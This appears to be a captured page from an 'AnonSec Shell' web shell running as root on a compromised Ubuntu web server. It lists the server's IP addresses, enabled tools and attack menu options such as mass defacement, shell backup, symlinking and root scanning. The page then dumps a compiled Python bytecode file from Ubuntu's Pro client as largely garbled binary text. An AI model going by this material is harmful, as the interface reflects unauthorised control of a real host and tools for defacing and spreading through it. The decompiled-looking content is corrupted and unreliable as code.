AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1534260/root/usr/lib/python3/dist-packages/uaclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/1534260/root/usr/lib/python3/dist-packages/uaclient/__pycache__/contract.cpython-310.pyc
o

F��c�m�@s$ddlZddlZddlmZmZmZmZmZddlm	Z	m
Z
mZmZm
Z
mZmZddlmZddlmZddlmZdZdZd	Zd
ZdZdZd
ZdZdddd�Ze
��Z Gdd�de
j!�Z"	d<dedee#efdee#efde$de$ddfdd�Z%		d=dedee#efd ee#efde$de$deee$ffd!d"�Z&d#ej'dej(fd$d%�Z)	d>d&ee#fd'd(�Z*dedeefd)d*�Z+ded+e#dee#effd,d-�Z,dede$fd.d/�Z-d0ee#e#fd1ee#e#fde.fd2d3�Z/d4ee#efd5e#d6e#dee.ee#efffd7d8�Z0	d?dee#efd9ee#ddfd:d;�Z1dS)@�N)�Any�Dict�List�Optional�Tuple)�clouds�event_logger�
exceptions�messages�
serviceclient�system�util)�UAConfig)�ATTACH_FAIL_DATE_FORMAT)�UserFacingStatusz/v1/context/machines/tokenz3/v1/contracts/{contract}/context/machines/{machine}z
/v1/resourcesz3/v1/resources/{resource}/context/machines/{machine}z/v1/clouds/{cloud_type}/tokenz3/v1/contracts/{contract}/machine-activity/{machine}z/v1/contractz/v1/magic-attach���)�series_overrides�series�cloudc@s�eZdZdZejZeje	j
gd�d�d.dd��Zdee
effdd	�Zd
e
dee
effdd�Zeje	j
gd�d�d
ejfdd��Z	d.de
de
dee
dee
effdd�Z	d.de
de
dee
defdd�Zdd�Zde
dee
effdd�Zdee
effdd�Zde
fdd �Z	d.de
de
dee
dee
effd!d"�Z	d.de
de
dee
defd#d$�Zd%ee
effd&d'�Zd(d)�Zd*d+�Zd.dee
fd,d-�Z dS)/�UAContractClient�contract_url)rrr)�retry_sleepsNcCs~|��}|�dd�|�i�|�|�}|jt||d�\}}|jj�|�t	j
��|�di��d|�d��}|j�
d|�|S)a}Requests machine attach to the provided machine_id.

        @param contract_token: Token string providing authentication to
            ContractBearer service endpoint.
        @param machine_id: Optional unique system machine id. When absent,
            contents of /etc/machine-id will be used.

        @return: Dict of the JSON response containing the machine-token.
        �
Authorization�	Bearer {})�data�headers�machineTokenInfo�	machineId�
machine-id)r�update�format�_get_platform_data�request_url�API_V1_CONTEXT_MACHINE_TOKEN�cfg�machine_token_file�writer�get_machine_id�cache_clear�get�write_cache)�self�contract_token�
machine_idrr�
machine_token�_headers�r2�3/usr/lib/python3/dist-packages/uaclient/contract.py�request_contract_machine_attach*s

�

�z0UAContractClient.request_contract_machine_attach�returncCs|jt|��d�\}}|S)z=Requests list of entitlements available to this machine type.)�query_params)r$�API_V1_RESOURCES�_get_platform_basic_info)r-�resource_responserr2r2r3�request_resourcesEs
�z"UAContractClient.request_resourcesr.cCs2|��}|�dd�|�i�|jt|d�\}}|S)Nrr�r)rr!r"r$�API_V1_CONTRACT_INFORMATION)r-r.r�
response_data�_response_headersr2r2r3�request_contract_informationLs
�z-UAContractClient.request_contract_information�instancec
Cs|z|jtj|jd�|jd�\}}Wn#tjy4}z|j�dd�}|r.t	�
|�tj|d��|�d}~ww|j�
d|�|S)z�Requests contract token for auto-attach images for Pro clouds.

        @param instance: AutoAttachCloudInstance for the cloud.

        @return: Dict of the JSON response containing the contract-token.
        )�
cloud_type)r�message�)�	error_msgNzcontract-token)r$�API_V1_AUTO_ATTACH_CLOUD_TOKENr"rA�identity_docr	�ContractAPIError�	api_errorr+�logging�debug�InvalidProImager&r,)r-r@�responser1�e�msgr2r2r3�"request_auto_attach_contract_tokenVs"
��
��z3UAContractClient.request_auto_attach_contract_tokenr0�resourcer/cCsz|st�|j�}|��}|�dd�|�i�tj||d�}|j||d�\}}|�d�r1|d|d<|j�	d�|�|�|S)a�Requests machine access context for a given resource

        @param machine_token: The authentication token needed to talk to
            this contract service endpoint.
        @param resource: Entitlement name.
        @param machine_id: Optional unique system machine id. When absent,
            contents of /etc/machine-id will be used.

        @return: Dict of the JSON response containing entitlement accessInfo.
        rr)rP�machiner;�expireszmachine-access-{})
rr)r&rr!r"�#API_V1_TMPL_RESOURCE_MACHINE_ACCESSr$r+r,)r-r0rPr/r�url�resource_accessr2r2r3�request_resource_machine_accessqs�

�z0UAContractClient.request_resource_machine_access�contract_idcCs|j|||d�S)z6Update existing machine-token for an attached machine.)r0rWr/)�_request_machine_token_update)r-r0rWr/r2r2r3�request_machine_token_update�s
�z-UAContractClient.request_machine_token_updatec	Cs�|jjj}|jj�d�}t�|j�}|�|�}tj	||d�}|�
�}|�dd�	|�i�|j|||d�\}}|rI|jj}||d<|jj�
|�dSdS)z�Report current activity token and enabled services.

        This will report to the contracts backend all the current
        enabled services in the system.
        �machineToken��contractrQrr)rr�activityInfoN)r&r'rWr0r+rr)�_get_activity_info�API_V1_MACHINE_ACTIVITYr"rr!r$r()	r-rWr0r/�request_datarTrrL�_r2r2r3�report_machine_activity�s

��z(UAContractClient.report_machine_activity�magic_tokenc
Cs�|��}|�dd�|�i�z|jt|d�\}}W|Stjy@}zt|d�r:|jdkr1t�	��|jdkr:t�
��|�d}~wtjyW}zt�
t|��t���d}~ww)z�Request magic attach token info.

        When the magic token is registered, it will contain new fields
        that will allow us to know that the attach process can proceed
        rrr;�code��N)rr!r"r$�API_V1_MAGIC_ATTACHr	rG�hasattrrd�MagicAttachTokenError�MagicAttachUnavailable�UrlErrorrI�	exception�str�ConnectivityError)r-rcrrLrarMr2r2r3�get_magic_attach_token_info�s(��


���z,UAContractClient.get_magic_attach_token_infoc
Cs�|��}z
|jt|dd�\}}W|Stjy)}z|jdkr#t���|�d}~wtjy@}zt�	t
|��t���d}~ww)z)Create a magic attach token for the user.�POST�r�methodrfN)rr$rgr	rGrdrjrkrIrlrmrn)r-rrLrarMr2r2r3�new_magic_attach_token�s$�
�
���z'UAContractClient.new_magic_attach_tokenc
Cs�|��}|�dd�|�i�z|jt|dd�Wd	StjyH}z"t|d�rB|jdkr0t�	��|jdkr9t�
��|jdkrBt���|�d	}~wtjy_}zt
�t|��t���d	}~ww)
z)Revoke a magic attach token for the user.rr�DELETErqrdi�rerfN)rr!r"r$rgr	rGrhrd� MagicAttachTokenAlreadyActivatedrirjrkrIrlrmrn)r-rcrrMr2r2r3�revoke_magic_attach_token�s.�



���z*UAContractClient.revoke_magic_attach_tokencCsv|s|�|��dd�}|��}|�dd�|�i�tj||d�}|j|d||��dd�\}}|�d	�r9|d	|d	<|S)
a|Get the updated machine token from the contract server.

        @param machine_token: The machine token needed to talk to
            this contract service endpoint.
        @param contract_id: Unique contract id provided by contract service
        @param machine_id: Optional unique system machine id. When absent,
            contents of /etc/machine-id will be used.
        rNrrr[�GETr)rrrr6�timeoutrR)r#r+rr!r"�*API_V1_TMPL_CONTEXT_MACHINE_TOKEN_RESOURCEr$r8)r-r0rWr/rrTrLr2r2r3�get_updated_contract_infos(
��
�
z*UAContractClient.get_updated_contract_infocCs�|��}|�dd�|�i�|�|�}|��|d<tj||dd�}|j||d|d�\}}|�d�r8|d|d<|�d	i��d|�d��}|S)
a�Request machine token refresh from contract server.

        @param machine_token: The machine token needed to talk to
            this contract service endpoint.
        @param contract_id: Unique contract id provided by contract service.
        @param machine_id: Optional unique system machine id. When absent,
            contents of /etc/machine-id will be used.

        @return: Dict of the JSON response containing refreshed machine-token
        rrr]rr[rp)rrrrrRr)rr!r"r#r^ryr$r+)r-r0rWr/rrrTrLr2r2r3rX)s 
�
�

�z.UAContractClient._request_machine_token_updaterLcCsN|jj�|�tj��|�d�}|�di��d|�d��}|j�d|�dS)Nrrr )	r&r'r(rr)r*r#r+r,)r-rLrr/r2r2r3�'update_files_after_machine_token_updateJs


�z8UAContractClient.update_files_after_machine_token_updatecCs6|st�|j�}t��}|��}|�d�}|||d�S)z<Return a dict of platform-related data for contract requests�arch)r�architecture�os)rr)r&�get_platform_info�copy�pop)r-r/�platform�platform_osr|r2r2r3r#Us
�z#UAContractClient._get_platform_datacCs t��}|d|d|dd�S)z?Return a dict of platform basic info for some contract requestsr|r�kernel)r}rr�)rr)r-r�r2r2r3r8bs
�z)UAContractClient._get_platform_basic_infocsNddlm}|st��j�}�jjjp|}�fdd�|D�}|�jjj|d�S)z9Return a dict of activity info data for contract requestsr)�ENTITLEMENT_CLASSEScs0g|]}|�j���dtjkr|�j�j�qS)r)r&�user_facing_statusr�ACTIVE�name)�.0�ent�r-r2r3�
<listcomp>vs�
�z7UAContractClient._get_activity_info.<locals>.<listcomp>)�
activityID�
activityToken�	resources)�uaclient.entitlementsr�rr)r&r'�activity_id�activity_token)r-r/r�r��enabled_servicesr2r�r3r^ks
��z#UAContractClient._get_activity_info�N)!�__name__�
__module__�__qualname__�cfg_url_base_attrr	rG�
api_error_clsr
�retry�socketrxr4rrmrr:r?r�AutoAttachCloudInstancerOrrVrYrbrorsrvrzrXr{r#r8r^r2r2r2r3r%s��

�
�����

�#����
�
#����

�'����
�!

�
	rTr&�past_entitlements�new_entitlements�allow_enablerr5cCshddlm}d}d}||�D]�}z||}	Wn	tyYqwzt||�|i�|	||d�\}
}Wn\tjy`d}t�|�t	�
��t�dj
||	d��Wd�n1sYwYYqty�d}t�|�t	�
��t�d	j
||	d��Wd�n1s�wYYqw|r�|
r�t�|�q|r�tjtjjtjjd
��|r�tjtjjtjjd
��dS)a�Iterate over all entitlements in new_entitlement and apply any delta
    found according to past_entitlements.

    :param cfg: UAConfig instance
    :param past_entitlements: dict containing the last valid information
        regarding service entitlements.
    :param new_entitlements: dict containing the current information regarding
        service entitlements.
    :param allow_enable: Boolean set True if allowed to perform the enable
        operation. When False, a message will be logged to inform the user
        about the recommended enabled service.
    :param series_overrides: Boolean set True if series overrides should be
        applied to the new_access dict.
    r)�entitlements_enable_orderF)r&�orig_access�
new_accessr�rTz4Failed to process contract delta for {name}: {delta})r��deltaNz>Unexpected error processing contract delta for {name}: {delta}�rN�msg_code)r�r��KeyError�process_entitlement_deltar+r	�UserFacingError�event�service_failedr
�disable_log_to_consolerI�errorr"�	Exceptionrl�service_processedr
�UNEXPECTED_ERRORrNr��ATTACH_FAILURE_DEFAULT_SERVICES)r&r�r�r�rr��delta_error�unexpected_errorr��new_entitlement�deltas�service_enabledr2r2r3�process_entitlements_delta�sl�
�

����

�����
����r�Fr�r�c

Cs�ddlm}|rt|�t�||�}d}|ri|�di��d�}|s*|�di��d�}|s=tjj||d�}	t	j
|	j|	jd��z|||d�}
Wnt	j
yZ}zt�d	|�|�d
}~ww|
||d�}|j|||d�}||fS)
a-Process a entitlement access dictionary deltas if they exist.

    :param cfg: UAConfig instance
    :param orig_access: Dict with original entitlement access details before
        contract refresh deltas
    :param new_access: Dict with updated entitlement access details after
        contract refresh
    :param allow_enable: Boolean set True if allowed to perform the enable
        operation. When False, a message will be logged to inform the user
        about the recommended enabled service.
    :param series_overrides: Boolean set True if series overrides should be
        applied to the new_access dict.

    :raise UserFacingError: on failure to process deltas.
    :return: A tuple containing a dict of processed deltas and a
             boolean indicating if the service was fully processed
    r)�entitlement_factoryF�entitlement�type)�orig�newr�)r&r�z3Skipping entitlement deltas for "%s". No such classN)r&�
assume_yes)r�)r�r��apply_contract_overridesr
�get_dict_deltasr+r
�$INVALID_CONTRACT_DELTAS_SERVICE_TYPEr"r	r�rNr��EntitlementNotFoundErrorrIrJ�process_contract_deltas)
r&r�r�r�rr�r��retr�rN�ent_cls�excr�r2r2r3r��s8�����r�rMcCs�tj}t|d�r{d|jvr{|jd}|d}|d}d}|dkr=|d�t�}|d�d�|d�}tjj||d	�}||_n,|d
kr^|d�t�}|d�d�|d�}tj	j||d	�}||_n|dkritj
j|d
�}|r{tjj|jd�}|j
|_
|j|_|S)NrH�info�
contractId�reasonzno-longer-effective�timez%m-%d-%Y)�contract_expiry_daterW)rW�dateznot-effective-yet)�contract_effective_daterWznever-effective)rW)r�)r
�ATTACH_EXPIRED_TOKENrhrH�strftimer�ATTACH_FORBIDDEN_EXPIREDr"�additional_info�ATTACH_FORBIDDEN_NOT_YET�ATTACH_FORBIDDEN_NEVER�ATTACH_FORBIDDENrNr�)rMrNr�rWr��
reason_msgr�r�r2r2r3� _create_attach_forbidden_messagesB
�����r�r.cCsD|j}|jj}|r|rtj}tj|j|jd��t	|�}|rz|j
|d�Wnqtjy~}zLt|tj
�rXt|d�rV|jdkrBt���|jdkrVt|�}tj|j|j|jd��|�t���t�t|��Wd�t���1sqwYt���d}~ww|d}|d	d
d}	|j||	d�}
|�|
�t|||jj|�dS)
afRequest contract refresh from ua-contracts service.

    Compare original token to new token and react to entitlement deltas.

    :param cfg: Instance of UAConfig for this machine.
    :param contract_token: String contraining an optional contract token.
    :param allow_enable: Boolean set True if allowed to perform the enable
        operation. When False, a message will be logged to inform the user
        about the recommended enabled service.

    :raise UserFacingError: on failure to update contract or error processing
        contract deltas
    :raise UrlError: On failure to contact the server
    r�)r.rdrei�)rNr�r�NrZr�contractInfo�id)r0rW)r0r'�entitlementsr
�-UNEXPECTED_CONTRACT_TOKEN_ON_ATTACHED_MACHINEr	r�rNr�rr4rk�
isinstancerGrhrd�AttachInvalidTokenErrorr�r�r
r�rIrlrmrnrYr{r�)r&r.r��
orig_token�orig_entitlementsrN�contract_clientrMr0rW�respr2r2r3�request_updated_contract0sX
�


�

�����
�r�cCst|�}|��}|�dg�S)zDQuery available resources from the contract server for this machine.r�)rr:r+)r&�clientr�r2r2r3�get_available_resourceslsr��tokencCst|�}|�|�S)z/Query contract information for a specific token)rr?)r&r�r�r2r2r3�get_contract_informationss
r�c
Cs�|j}|jj}|�dd�}|�di��di��dd�}|sdSt|�}|�||�}|�di��di��dd�}|r>t�|�n|jj}|jj|krJdS|j�	|�}	t
|	���D]\}
}t�|�|
i�|�}|ridSqVdS)	NrZrCrr�r�F�effectiveToT)
r0r'r�r+rrzr
�parse_rfc3339_date�contract_expiry_datetime�get_entitlements_from_token�sorted�itemsr�)
r&r�r�r0rWr�r��resp_expiry�
new_expiry�curr_entitlementsr�r�r�r2r2r3�is_contract_changedysD
��
������r��override_selector�selector_valuescCs<d}|��D]\}}||f|��vrdS|t|7}q|S)Nr)r��OVERRIDE_SELECTOR_WEIGHTS)r�r��override_weight�selector�valuer2r2r3�_get_override_weight�sr�r��series_namerAc	Cshi}||d�}|�di��|i�}|r||td<|�dg�}|D]}t|�d�|�}|r1|||<q!|S)N)rrrr�	overridesr�)r�r�r�)	r�r�rAr�r�r�general_overrides�override�weightr2r2r3�_select_overrides�s"
��
��r�rc
Cs�ddlm}tt|t�d|vg�std�|���|dur"t��dn|}|�\}}|�	di�}t
|||�}t|���D]%\}}	|	��D]\}
}|d�	|
�}t|t�rY|�
|�qC||d|
<qCq;dS)a�Apply series-specific overrides to an entitlement dict.

    This function mutates orig_access dict by applying any series-overrides to
    the top-level keys under 'entitlement'. The series-overrides are sparse
    and intended to supplement existing top-level dict values. So, sub-keys
    under the top-level directives, obligations and affordance sub-key values
    will be preserved if unspecified in series-overrides.

    To more clearly indicate that orig_access in memory has already had
    the overrides applied, the 'series' key is also removed from the
    orig_access dict.

    :param orig_access: Dict with original entitlement access details
    r)�get_cloud_typer�z?Expected entitlement access dict. Missing "entitlement" key: {}Nr)�uaclient.clouds.identityr��allr��dict�RuntimeErrorr"rrr+r�r�r�r!)
r�rr�r�rAra�orig_entitlementr��_weight�overrides_to_apply�keyr��currentr2r2r3r��s&��

��r�)T)FT)NFr�)2rIr��typingrrrrr�uaclientrrr	r
rrr
�uaclient.configr�uaclient.defaultsr�(uaclient.entitlements.entitlement_statusrr%ryr7rSrEr_r<rgr��get_event_loggerr��UAServiceClientrrm�boolr�r�rG�NamedMessager�r�r�r�r��intr�r�r�r2r2r2r3�<module>s�$	��e��
�
���
�O��
�
���

�7�
�,�
�<(
�
�
�
���
��
���

Anon7 - 2022
AnonSec Team